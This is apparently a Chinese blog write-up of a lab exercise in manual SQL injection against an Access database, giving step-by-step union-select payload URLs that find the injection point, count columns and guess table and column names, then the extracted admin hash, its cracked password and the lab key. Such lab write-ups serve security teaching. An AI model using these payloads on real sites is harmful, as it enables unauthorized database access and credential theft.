题目链接:SQL手工注入漏洞测试(Access数据库)
友情提示:这个靶场环境有一点点不稳定,启动的时间有点漫长,解题的过程比较顺利,但是提交key的时候偶尔会弹窗"环境错误"~
(●'◡'●)熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~
这些就是已知的条件啦~
参考1:谈一谈|SQL注入之显错注入 - 腾讯云开发者社区-腾讯云 (tencent.com)
参考2:评论区harrison*&与lxx555二位大佬的提示
工具:无
1 判断注入点
http://219.153.49.228:48956?id=1 and 1=1
http://219.153.49.228:48956?id=1 and 1=2
上述两次登录结果页面完全一致,后台可能有所过滤,注入点不在这里~
试试另一个停机维护的网页~
http://219.153.49.228:48956/new_list.asp?id=1 and 1=1
http://219.153.49.228:48956/new_list.asp?id=1 and 1=2
网页置空,这个就是明显的注入点啦~
2 判断字段数
其次,判断当前数据库的字段数(列数)~
http://219.153.49.228:48956/new_list.asp?id=1 order by 1
网页正常,说明order by 1是正确指令(此处id=1可更换为id=1 and 1=2,执行结果略有不同,但都能得出相同结论),我们换成2、3、4逐渐尝试,发现输出是类似的~
直到输入order by 5时,页面置空,说明语句执行失败,当前数据库的字段仅有4列~
3 判断回显字段及猜测表名
http://219.153.49.228:48956/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin
①通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~(注意此处需要有报错的前置条件,如and 1=2,或id=-1等,否则页面无法输出报错结果~)
②与masql相比,access增加了“from 表名”,access没有库名仅有表名,需要靠经验猜测...
表名可能有:admin admins admin_user admin_usr admin_msg admin_login user username manager各种大小写变体...
根据执行结果,2和3是较为明显的注入字段,admin是表名~
4 猜测字段名
在字段2或3处输入 查询字段名 的命令~
评论区目前对于access的评价都是:不能靠查,只能靠猜...
总之我们这里就是期望用户名和密码回显到页面上~
用户名可能有:username、user、usr、name、usrname,各种大小写变体...
密码可能有:password、passwd、pwd、pass,各种大小写变体...
如果猜错了,页面就没有什么显示...
如果猜对了,页面就会回显字段内容...
为了避免猜到猴年马月,很多大佬已经用burpsuite的intruder模块开始狙了...::>_<::
经过多次猜测,用户名和密码的字段分别是:username与passwd,代码与执行结果如下:
http://219.153.49.228:48956/new_list.asp?id=1 and 1=2 union select 1,username,passwd,4 from admin
用户名:moke,密码:7e6ec4fadf84938f(MD5加密)
5 md5解密
免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
密码解密结果:27737201
返回最初的登录页面,输入用户名:moke、密码:27737201,登录结果如下图~
KEY:mozhe5f8daa77cbaeb5702f11130ba30
总结:
(1)整个显错注入流程使用到以下语句~
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
order by 5 | 判断字段数 |
and 1=2 union select 1,2,3,4 from 表名 | 判断回显字段及猜测表名 |
and 1=2 union select 1,字段名,passwd,4 from 表名 | 猜测字段名 |
过程基本靠猜,Access数据库手工注入真的还挺考验运气的~
(2)若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入
码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)